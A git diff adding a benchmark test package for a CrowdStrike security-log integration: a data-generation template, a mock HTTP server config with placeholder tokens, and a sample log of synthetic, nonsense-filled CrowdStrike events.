+- name: username + type: keyword +- name: user_id + type: keyword diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson new file mode 100644 index 0000000000..2841b0f2a6 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson @@ -0,0 +1,97 @@ +{{- $agent_id := generate "agent_id" }} +{{- $aggregate_id := generate "aggregate_id" }} +{{- $alleged_filetype := generate "alleged_filetype" }} +{{- $access_type := generate "network_accesses.access_type" }} +{{- $connection_direction := generate "network_accesses.connection_direction" }} +{{- $isIPV6 := generate "network_accesses.isIPV6" }} +{{- $local_address := generate "network_accesses.local_address" }} +{{- $local_port := generate "network_accesses.local_port" }} +{{- $protocol := generate "network_accesses.protocol" }} +{{- $remote_address := generate "network_accesses.remote_address" }} +{{- $remote_port := generate "network_accesses.remote_port" }} +{{- $cid := generate "cid" }} +{{- $cmdline := generate "cmdline" }} +{{- $comment := generate "comment" }} +{{- $falcon_user_id := generate "comments.falcon_user_id" }} +{{- $timestamp := generate "comments.timestamp" | date "2006-01-02T15:04:05.000000000Z" }} +{{- $value := generate "comments.value" }} +{{- $composite_id := generate "composite_id" }} +{{- $confidence := generate "confidence" }} +{{- $control_graph_id := generate "control_graph_id" }} +{{- $created_timestamp := generate "created_timestamp" | date "2006-01-02T15:04:05.000000000Z" }} +{{- $description := generate "description" }} +{{- $last_seen := generate "device.last_seen" | date "2006-01-02T15:04:05.00Z" }} +{{- $agent_load_flags := generate "device.agent_load_flags" }} +{{- $agent_local_time := generate "device.agent_local_time" | date "2006-01-02T15:04:05.000Z" }} +{{- $agent_version := generate "device.agent_version" }} +{{- $bios_manufacturer := generate "device.bios_manufacturer" }} +{{- $bios_version := generate "device.bios_version" }} +{{- $device_id := generate "device.device_id" }} +{{- $external_ip := generate "device.external_ip" }} +{{- $external_ipv6 := generate "device.external_ipv6" }} +{{- $first_seen := generate "device.first_seen" | date "2006-01-02T15:04:05.000Z" }} +{{- $groups := generate "device.groups" }} +{{- $active_directory_dn_display := generate "device.hostinfo.active_directory_dn_display" }} +{{- $domain := generate "device.hostinfo.domain" }} +{{- $host_hidden_status := generate "device.host_hidden_status" }} +{{- $instance_id := generate "device.instance_id" }} +{{- $local_ip := generate "device.local_ip" }} +{{- $local_ipv6 := generate "device.local_ipv6" }} +{{- $mac_address := generate "device.mac_address" }} +{{- $machine_domain := generate "device.machine_domain" }} +{{- $major_version := generate "device.major_version" }} +{{- $minor_version := generate "device.minor_version" }} +{{- $modified_timestamp := generate "device.modified_timestamp" | date "2006-01-02T15:04:05.00Z" }} +{{- $os_version := generate "device.os_version" }} +{{- $ou := generate "device.ou" }} +{{- $platform_id := generate "device.platform_id" }} +{{- $platform_name := generate "device.platform_name" }} +{{- $pod_id := generate "device.pod_id" }} +{{- $pod_labels := generate "device.pod_labels" }} +{{- $pod_name := generate "device.pod_name" }} +{{- $pod_namespace := generate "device.pod_namespace" }} +{{- $pod_service_account_name := generate "device.pod_service_account_name" }} +{{- $product_type := generate "device.product_type" }} +{{- $product_type_desc := generate "device.product_type_desc" }} +{{- $service_provider := generate "device.service_provider" }} +{{- $service_provider_account_id := generate "device.service_provider_account_id" }} +{{- $site_name := generate "device.site_name" }} +{{- $system_manufacturer := generate "device.system_manufacturer" }} +{{- $system_product_name := generate "device.system_product_name" }} +{{- $tags := generate "device.tags" }} +{{- $display_name := generate "display_name" }} +{{- $falcon_host_link := generate "falcon_host_link" }} +{{- $filename := generate "filename" }} +{{- $filepath := generate "filepath" }} +{{- $hostname := generate "hostname" }} +{{- $id := generate "id" }} +{{- $ioc_source := generate "ioc_source" }} +{{- $ioc_type := generate "ioc_type" }} +{{- $ioc_value := generate "ioc_value" }} +{{- $md5 := generate "md5" }} +{{- $objective := generate "objective" }} +{{- $parent_process_id := generate "parent_process_id" }} +{{- $pattern_id := generate "pattern_id" }} +{{- $process_end_time := generate "process_end_time" }} +{{- $process_id := generate "process_id" }} +{{- $process_start_time := generate "process_start_time" }} +{{- $product := generate "product" }} +{{- $scenario := generate "scenario" }} +{{- $severity := generate "severity" }} +{{- $severity_name := generate "severity_name" }} +{{- $sha256 := generate "sha256" }} +{{- $show_in_ui := generate "show_in_ui" }} +{{- $status := generate "status" }} +{{- $tactic := generate "tactic" }} +{{- $tactic_id := generate "tactic_id" }} +{{- $technique := generate "technique" }} +{{- $technique_id := generate "technique_id" }} +{{- $timestamp_main := generate "timestamp" | date "2006-01-02T15:04:05.000Z" }} +{{- $tree_id := generate "tree_id" }} +{{- $tree_root := generate "tree_root" }} +{{- $triggering_process_graph_id := generate "triggering_process_graph_id" }} +{{- $type := generate "type" }} +{{- $updated_timestamp := generate "updated_timestamp" | date "2006-01-02T15:04:05.000000000Z" }} +{{- $username := generate "username" }} +{{- $user_id := generate "user_id" }} +{"agent_id":"{{ $agent_id }}","aggregate_id":"{{ $aggregate_id }}","alleged_filetype":"{{ $alleged_filetype }}","cid":"{{ $cid }}","cmdline":"{{ $cmdline }}","comment":"{{ $comment }}","comments":[{"falcon_user_id":"{{ $falcon_user_id }}@mail.com","timestamp":"{{ $timestamp }}","value":"{{ $value }}"}],"composite_id":"{{ $composite_id }}","confidence":{{ $confidence }},"control_graph_id":"{{ $control_graph_id }}","created_timestamp":"{{ $created_timestamp }}","description":"{{ $description }}","device":{"agent_version":"x.xx.xxxxx.x","agent_load_flags":"{{ $agent_load_flags }}","agent_local_time":"{{ $agent_local_time }}","bios_manufacturer":"{{ $bios_manufacturer }}","bios_version":"{{ $bios_version }}","cid":"{{ $cid }}","device_id":"{{ $device_id }}","external_ip":"{{ $external_ip }}","external_ipv6":"{{ $external_ipv6 }}","first_seen":"{{ $first_seen }}","groups":"{{ $groups }}","hostinfo":{"active_directory_dn_display":"{{ $active_directory_dn_display }}","domain":"{{ $domain }}"},"hostname":"{{ $hostname }}","host_hidden_status":"{{ $host_hidden_status }}","last_seen":"{{ $last_seen }}","instance_id":"{{ $instance_id }}","local_ip":"{{ $local_ip }}","local_ipv6":"{{ $local_ipv6 }}","mac_address":"{{ $mac_address }}","machine_domain":"{{ $machine_domain }}","major_version":{{ $major_version }},"minor_version":{{ $minor_version }},"modified_timestamp":"{{ $modified_timestamp }}","os_version":"{{ $os_version }}","ou":["{{ $ou }}"],"platform_id":"{{ $platform_id }}","platform_name":"{{ $platform_name }}","pod_id":"{{ $pod_id }}","pod_labels":["{{ $pod_labels }}"],"pod_name":"{{ $pod_name }}","pod_namespace":"{{ $pod_namespace }}","pod_service_account_name":"{{ $pod_service_account_name }}","product_type":"{{ $product_type }}","product_type_desc":"{{ $product_type_desc }}","service_provider":"{{ $service_provider }}","service_provider_account_id":"{{ $service_provider_account_id }}","site_name":"{{ $site_name }}","status":"{{ $status }}","system_manufacturer":"{{ $system_manufacturer }}","system_product_name":"{{ $system_product_name }}","tags":["{{ $tags }}"]},"display_name":"{{ $display_name }}","falcon_host_link":"https://falcon.crowdstrike.com/activity-v2/detections/{{ $falcon_host_link }}","filename":"{{ $filename }}.{{ $alleged_filetype }}","filepath":"\\\\{{ $filepath }}\\\\{{ $filename }}.{{ $alleged_filetype }}","id":"{{ $id }}","ioc_source":"{{ $ioc_source }}","ioc_type":"{{ $ioc_type }}","ioc_value":"{{ $ioc_value }}","md5":"{{ $md5 }}","mitre_attack":{"pattern_id":{{ $pattern_id }},"tactic_id":"{{ $tactic_id }}","technique_id":"{{ $technique_id }}","tactic":"{{ $tactic }}","technique":"{{ $technique }}"},"name":"{{ $username }} on {{ $hostname }}","network_accesses":[{"access_type":"{{ $access_type }}","connection_direction":"{{ $connection_direction }}","isIPV6":{{ $isIPV6 }},"local_address":"{{ $local_address }}","local_port":{{ $local_port }},"protocol":"{{ $protocol }}","remote_address":"{{ $remote_address }}","remote_port":{{ $remote_port }}}],"objective":"{{ $objective }}","parent_process_id":{{ $parent_process_id }},"pattern_id":{{ $pattern_id }},"platform":"{{ $platform_name }}","process_end_time":"{{ $process_end_time }}","process_id":{{ $process_id }},"process_start_time":"{{ $process_start_time }}","product":"{{ $product }}","scenario":"{{ $scenario }}","severity":{{ $severity }},"severity_name":"{{ $severity_name }}","sha256":"{{ $sha256 }}","show_in_ui":{{ $show_in_ui }},"status":"{{ $status }}","tactic":"{{ $tactic }}","tactic_id":"{{ $tactic_id }}","technique":"{{ $technique }}","technique_id":"{{ $technique_id }}","timestamp":"{{ $timestamp_main }}","tree_id":"{{ $tree_id }}","tree_root":{{ $tree_root }},"triggering_process_graph_id":"{{ $triggering_process_graph_id }}","type":"{{ $type }}","updated_timestamp":"{{ $updated_timestamp }}","user_id":"{{ $user_id }}"}, diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml new file mode 100644 index 0000000000..cfa001fee1 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml @@ -0,0 +1,16 @@ +version: "2.3" +services: + crowdstrike: + image: docker.elastic.co/observability/stream:v0.20.0 + hostname: crowdstrike + ports: + - 8080 + volumes: + - ./files:/files:ro + - ${SERVICE_LOGS_DIR}:/var/log + environment: + PORT: "8080" + command: + - http-server + - --addr=:8080 + - --config=/files/config.yml diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml new file mode 100644 index 0000000000..8ac8e5871e --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml @@ -0,0 +1,128 @@ +rules: + - path: /oauth2/token + methods: ['POST'] + responses: + - status_code: 200 + headers: + Content-Type: + - 'application/json' + body: | + {"access_token":"xxxx","expires_in":3600,"token_type":"Bearer","refresh_token":"yyyy"} + - path: /alerts/combined/alerts/v1 + methods: ['POST'] + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + { + "meta": { + "pagination": { + "total": 100000, + "limit": 100 + } + }, + "errors": [], + "resources": [ + {{/* Comma is added at the end of each line inside the template to preserve JSON format */}} + {{- $g := glob "/var/log/corpus-*" -}} + {{- range $g -}} + {{- file . -}} + {{- end -}} + {{/* A last line of hard-coded data is required to properly close the JSON body */}} + {"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"created_timestamp":"2023-11-03T18:01:23.995794943Z","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","severity":30,"status":"new","timestamp":"2023-11-03T18:00:22.328Z","updated_timestamp":"2023-11-03T19:00:23.985007341Z"} + ] + } + - path: /devices/combined/devices/v1 + methods: ['GET'] + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + { + "meta": { + "pagination": { + "total": 100000, + "limit": 100 + } + }, + "errors": [], + "resources": [ + {{/* Comma is added at the end of each line inside the template to preserve JSON format */}} + {{- $g := glob "/var/log/corpus-*" -}} + {{- range $g -}} + {{- file . -}} + {{- end -}} + {{/* A last line of hard-coded data is required to properly close the JSON body */}} + {"device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","cid":"92012896127c4a948236ba7601b886b0","agent_load_flags":"0","agent_local_time":"2023-11-07T04:51:16.678Z","agent_version":"7.05.17603.0","hostname":"test-host","status":"normal","modified_timestamp":"2023-11-07T04:51:16.678Z"} + ] + } + - path: /spotlight/combined/vulnerabilities/v1 + methods: ['GET'] + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + { + "meta": { + "pagination": { + "total": 100000, + "limit": 100 + } + }, + "errors": [], + "resources": [ + {{/* Comma is added at the end of each line inside the template to preserve JSON format */}} + {{- $g := glob "/var/log/corpus-*" -}} + {{- range $g -}} + {{- file . -}} + {{- end -}} + {{/* A last line of hard-coded data is required to properly close the JSON body */}} + {"id":"CVE-2023-12345","cid":"92012896127c4a948236ba7601b886b0","aid":"2ce412d17b334ad4adc8c1c54dbfec4b","vulnerability_id":"CVE-2023-12345","status":"open","cve":{"severity":"MEDIUM","references":["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1234"]},"created_timestamp":"2023-11-03T18:01:23.995794943Z","updated_timestamp":"2023-11-03T19:00:23.985007341Z"} + ] + } + - path: /sensors/entities/datafeed/v2 + methods: ['GET'] + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + { + "resources": [ + { + "dataFeedURL": "http://svc-crowdstrike:8080/events", + "sessionToken": { + "token": "secretsessiontoken" + }, + "refreshActiveSessionURL": "http://svc-crowdstrike:8080/refresh", + "refreshActiveSessionInterval": 1800 + } + ] + } + - path: /events + methods: ['GET'] + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + {{- $g := glob "/var/log/corpus-*" -}} + {{- range $g -}} + {{- file . -}} + {{- end -}} + - path: /refresh + methods: ['POST'] + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: '' diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml new file mode 100644 index 0000000000..1200994302 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml @@ -0,0 +1,5 @@ +version: '2.3' +services: + terraform: + environment: + - TEST_RUN_ID=${TEST_RUN_ID} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/sample.log new file mode 100644 index 0000000000..a531968e82 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/sample.log @@ -0,0 +1,500 @@ +{"metadata": {"customerIDString": "Lebanesework","offset": -1685835604,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "whydresser","HostnameField": "hisnation","UserName": "repellingthing","StartTimestamp": 1582830734,"AgentIdString": "itshand"}} +{"metadata": {"customerIDString": "ourdisregard","offset": -23054234,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "scaryway","Region": "us-west-1","ResourceId": "thathappiness","ResourceIdType": "Middle Easternmother","ResourceName": "whichtime","ResourceCreateTime": 0,"PolicyStatement": "histable","PolicyId": 1595025608,"Severity": 65,"SeverityName": "Medium","CloudPlatform": "Cypriotyoga","CloudService": "myline","Disposition": "Passed","ResourceUrl": "hispoint","Finding": "hishonesty","Tags": [{"Key": "fragilecompany","ValueString": "impromptuwelfare"}],"ReportUrl": "oddshower","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "theremoney","offset": -500255711,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Marxistluck","UserIp": "113.166.169.36","OperationName": "confirmResetPassword","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "Koreanfact","ValueString": "whereshower"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "anyonegroup"}}} +{"metadata": {"customerIDString": "wherecackle","offset": -185828149,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "Polynesianheels","IncidentDescription": "Salvadoreanseed","Severity": 71,"SeverityName": "Informational","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "allpoverty","UserName": "mypod","EndpointName": "whatbrilliance","EndpointIp": "12.250.116.236","Category": "Incidents","NumbersOfAlerts": -1113219528,"NumberOfCompromisedEntities": -263983776,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thesewisp?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "Americanwhale","offset": 939173435,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "hershirt","Highlights": ["yoursheep"],"MatchedTimestamp": 1686889114000,"RuleId": "thesechildhood","RuleName": "thosehamburger","RuleTopic": "theirfact","RulePriority": "whatwad","ItemId": "Middle Easterncrew","ItemType": "CS","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "Diabolicalforest","offset": 1660803782,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "somearmy","Region": "us-west-2","ResourceId": "whereway","ResourceIdType": "gorgeousbird","ResourceName": "whichgroup","ResourceCreateTime": 0,"PolicyStatement": "whosedynasty","PolicyId": 390111810,"Severity": 43,"SeverityName": "Medium","CloudPlatform": "toobunch","CloudService": "Costa Ricanloss","Disposition": "Failed","ResourceUrl": "eachbattery","Finding": "thesedream","Tags": [{"Key": "Frenchcandy","ValueString": "Kazakhliterature"}],"ReportUrl": "noneforest","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "whatlove","offset": -315799839,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "thoseplace","MobileDetectionId": 1667158397,"ComputerName": "halfpod","UserName": "yourstaff","ContextTimeStamp": 1649061056,"DetectId": "so fewface","DetectName": "thosesorrow","DetectDescription": "host employment gang forest team group pair turtle chest thing pod troop sugar government evidence thisscold","Tactic": "substantialtail","TacticId": "whosebook","Technique": "howheap","TechniqueId": "whatschool","Objective": "whosetroupe","Severity": 1,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/theirbelief?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "ourmurder","AndroidAppLabel": "Plutoniancollection","DexFileHashes": "Cypriotanthology","ImageFileName": "thosegang","AppInstallerInformation": "thisorange","IsBeingDebugged": true,"AndroidAppVersionName": "wherescissors","IsContainerized": true}]}} +{"metadata": {"customerIDString": "lots ofhail","offset": -1080414415,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "anyonenest","MobileDetectionId": 2112873966,"ComputerName": "significantnoise","UserName": "Einsteinianstupidity","ContextTimeStamp": 1649061056,"DetectId": "hisbelief","DetectName": "Victorianlake","DetectDescription": "college time air right muster army grade thought sister man article party city loss refrigerator myanthology","Tactic": "thosepod","TacticId": "whysilence","Technique": "therebattery","TechniqueId": "nowaiter","Objective": "itcompany","Severity": 29,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/fewshower?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "helpfulmuster","AndroidAppLabel": "someonecorruption","DexFileHashes": "Nepalesecare","ImageFileName": "Mayanhotel","AppInstallerInformation": "nonegoodness","IsBeingDebugged": false,"AndroidAppVersionName": "wherehat","IsContainerized": true}]}} +{"metadata": {"customerIDString": "numerousgarage","offset": 358982922,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "sufficientunion","UserIp": "118.44.72.83","OperationName": "userAuthenticate","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "whichcheese","ValueString": "manyway"}],"Attributes": {"actor_cid": "anyonewarmth","actor_user": "wholedetermination","actor_user_uuid": "whycar","app_id": "wherefox","saml_assertion": "nonepatrol","target_user": "Amazonianeye","trace_id": "ourwhale"}}} +{"metadata": {"customerIDString": "wherewoman","offset": -978965511,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "thatlove","CustomerId": "youngyear","Ipv": "111.108.39.213","CommandLine": "yourjoy","ConnectionDirection": "1","EventType": "FirewallRuleIP6Matched","Flags": {"Audit": true,"Log": false,"Monitor": false},"HostName": "fullhost","ICMPCode": "tooplace","ICMPType": "hereability","ImageFileName": "littleluxuty","LocalAddress": "212.100.108.245","LocalPort": "71122","MatchCount": -1465089284,"MatchCountSinceLastReport": -1659220810,"NetworkProfile": "myedge","PID": "-1256766382","PolicyName": "itsthing","PolicyID": "heavycompany","Protocol": "Cormoranpronunciation","RemoteAddress": "132.38.65.208","RemotePort": "35570","RuleAction": "itbook","RuleDescription": "company obnoxiousarmy","RuleFamilyID": "over thereflock","RuleGroupName": "ouromen","RuleName": "onepoint","RuleId": "easyhorde","Status": "boredhorn","Timestamp": 1751371830,"TreeID": "anypound"}} +{"metadata": {"customerIDString": "howwoman","offset": -947006805,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "whereset","CustomerId": "wittyway","Ipv": "249.171.19.228","CommandLine": "thishumour","ConnectionDirection": "0","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": false,"Log": true,"Monitor": true},"HostName": "Lilliputianbook","ICMPCode": "whystring","ICMPType": "whererazor","ImageFileName": "itfashion","LocalAddress": "238.237.247.252","LocalPort": "36580","MatchCount": 675896743,"MatchCountSinceLastReport": -17051991,"NetworkProfile": "everyonefriendship","PID": "-1491782631","PolicyName": "friendlybunch","PolicyID": "fewchest","Protocol": "whosetrench coat","RemoteAddress": "65.58.83.244","RemotePort": "45643","RuleAction": "Britisharmy","RuleDescription": "host pack hat box bowl cast comb milk reel colorfulbevy","RuleFamilyID": "plenty ofcompany","RuleGroupName": "difficultcatalog","RuleName": "everybodyday","RuleId": "itbowl","Status": "Lebaneseshower","Timestamp": 1751371830,"TreeID": "Hitlerianboard"}} +{"metadata": {"customerIDString": "herposse","offset": 1859087843,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "mywoman","UserID": "quizzicalclass","ExecutionID": "anyhost","ReportID": "theseheap","ReportName": "herstaff","ReportType": "someoneoil","ReportFileReference": "fullstand","Status": "whatbeans","StatusMessage": "eachaccommodation","ExecutionMetadata": {"ExecutionStart": 1497599866,"ExecutionDuration": -991015096,"ReportFileName": "Koreanloss","ResultCount": 1748156442,"ResultID": "severalyard","SearchWindowStart": -797632144,"SearchWindowEnd": -1019419451}}} +{"metadata": {"customerIDString": "fewbundle","offset": 811982012,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "numeroussoftware","MobileDetectionId": -1904510031,"ComputerName": "Greekexaltation","UserName": "myworld","ContextTimeStamp": 1649061056,"DetectId": "over therehand","DetectName": "howcousin","DetectDescription": "congregation poverty band block range religion week heap whatwisdom","Tactic": "fewpack","TacticId": "whoseadult","Technique": "cooperativeexaltation","TechniqueId": "Belgiansocks","Objective": "theirkitchen","Severity": 58,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/sleepyset?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "howgovernment","AndroidAppLabel": "whichluxury","DexFileHashes": "disgustingman","ImageFileName": "ourmusic","AppInstallerInformation": "heregovernment","IsBeingDebugged": false,"AndroidAppVersionName": "itwildlife","IsContainerized": false}]}} +{"metadata": {"customerIDString": "itswoman","offset": -202219313,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "ouralbum","IncidentDescription": "number hand pack problem literature success guest harvest bow museum Mozartianlife","Severity": 45,"SeverityName": "Medium","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "bravebundle","UserName": "Freudiannest","EndpointName": "herclump","EndpointIp": "140.45.95.105","Category": "Detections","NumbersOfAlerts": 1123668711,"NumberOfCompromisedEntities": -986302934,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/numerouslibrary?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "whoseenvy","offset": 1336498276,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "knightlyslavery","UserIp": "23.204.163.65","OperationName": "confirmResetPassword","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "manytiming","ValueString": "yourflock"}],"Attributes": {"actor_cid": "whatidea","actor_user": "plenty ofthrill","actor_user_uuid": "Elizabethanlaughter","app_id": "anypack","saml_assertion": "allgroup","target_user": "yourpoint","trace_id": "energetichair"}}} +{"metadata": {"customerIDString": "Putinistoutfit","offset": -464699610,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "therefear","UserIp": "190.98.76.245","OperationName": "createUser","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "Torontoniansocks","ValueString": "pinkbouquet"}],"Attributes": {"actor_cid": "herealligator","actor_user": "everybodygovernment","actor_user_uuid": "Bismarckianveterinarian","app_id": "someonepack","saml_assertion": "yourcrowd","target_user": "Thaiteam","trace_id": "Germanheels"}}} +{"metadata": {"customerIDString": "Brazilianband","offset": 547834351,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "spottedcrowd","HostnameField": "theircard","UserName": "handsomeflock","StartTimestamp": 1582830734,"AgentIdString": "manysandals"}} +{"metadata": {"customerIDString": "itseye","offset": 85979815,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Slovakdisregard","UserIp": "161.210.122.111","OperationName": "deleteUser","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "scarysky","ValueString": "lazytrip"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "theseman"}}} +{"metadata": {"customerIDString": "severaltail","offset": -496750003,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "somebodyline","UserIp": "181.119.120.133","OperationName": "grantCustomerSubscriptions","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "fewweek","ValueString": "insufficientcongregation"}],"Attributes": {"actor_cid": "thoserange","actor_user": "Egyptianmuster","actor_user_uuid": "manyarmy","app_id": "whosebookstore","saml_assertion": "fewspoon","target_user": "whyjustice","trace_id": "thosetransportation"}}} +{"metadata": {"customerIDString": "whosepleasure","offset": -2143757847,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "whoseproblem","UserID": "thesewaist","ExecutionID": "horriblegovernment","ReportID": "wheremuster","ReportName": "thereboard","ReportType": "yourcaravan","ReportFileReference": "yourproblem","Status": "Japanesebale","StatusMessage": "emptyparty","ExecutionMetadata": {"ExecutionStart": -845012901,"ExecutionDuration": -340990076,"ReportFileName": "theregroup","ResultCount": 1942445329,"ResultID": "herbow","SearchWindowStart": -967511895,"SearchWindowEnd": 122476930}}} +{"metadata": {"customerIDString": "yourocean","offset": 563835375,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 677914316,"ProcessEndTime": 1753288785,"ProcessId": 786054393,"ParentProcessId": -1517238162,"ComputerName": "anythingdanger","UserName": "heavywork","DetectName": "gloriousriches","DetectDescription": "motivation mob currency market group number literature point board lack child election mob apartment dangerouswelfare","Severity": 5,"SeverityName": "Critical","FileName": "whichrazor","FilePath": "yourwoman\\whichrazor","CommandLine": "C:\\Windows\\crowdedcovey","SHA256String": "Uzbekostrich","MD5String": "severalbeauty","SHA1String": "anyonefailure","MachineDomain": "anytrip","NetworkAccesses": [{"AccessType": 803760681,"AccessTimestamp": 1751371565,"Protocol": "howsorrow","LocalAddress": "186.189.48.115","LocalPort": 9178,"RemoteAddress": "179.68.167.78","RemotePort": 75164,"ConnectionDirection": 1,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whatparty?_cid=xxxxxxx","SensorId": "Bangladeshicheese","IOCType": "domain","IOCValue": "itgroup","DetectId": "couplewolf","LocalIP": "117.210.159.74","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "Alpinewings","Technique": "nonebasket","Objective": "significantgovernment","PatternDispositionDescription": "nest staff bunch literature archipelago yoga thing packet Salvadoreanability","PatternDispositionValue": -1531758015,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": true,"SensorOnly": false,"Rooting": true,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "howstring","ParentCommandLine": "everyonesedge","GrandparentImageFileName": "everybodybutter","GrandparentCommandLine": "howparty","HostGroups": "everybodyweek","AssociatedFile": "itsmercy","PatternId": 1232464714}} +{"metadata": {"customerIDString": "aloofcrowd","offset": 740568382,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "whygang","Region": "us-east-1","ResourceId": "somecast","ResourceIdType": "alldynasty","ResourceName": "theirmouth","ResourceCreateTime": 